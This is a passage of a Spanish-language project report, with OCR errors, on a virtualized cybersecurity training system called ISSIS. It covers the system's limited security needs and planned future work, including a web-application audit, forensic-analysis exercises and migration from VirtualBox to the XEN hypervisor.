contrasefia y configurar un direccionamiento estatico; se tiene acceso al ambiente virtual
previamente configurado para que los usuarios hagan uso del mismo siguiendo una
metodologia simple. El sistema no sale a internet y su funcién es la de capacitar personas.
No hay informacion sensible por proteger. Ningln usuario tendria razones suficientes como
para atentar contra la disponibilidad del sistema. De esta manera la seguridad en el sistema
no es un punto fuerte a tratar. Sin embargo a forma de investigacion, se proyecta una
posible auditoria a la aplicacion web para encontrar y depurar errores criticos. A futuro se
planea seguir disefiando y desarrollando guias de practicas de seguridad informatica para
ser integradas en el sistema. Investigar en temas como andlisis forense para el cual se
podria habilitar una maquina virtual que previamente haya sido atacada. Es posible
profundizar en el médulo Simulador. Para el trabajo actual se usé VirtualBox pero a futuro se
podria trabajar con el hypervisor XEN. El objetivo seria lograr la integracion entre XEN e
ISSIS. Con XEN el comportamiento del simulador en general seria mas estable y con mejor

rendimiento ya que usa virtualizacion por hardware.
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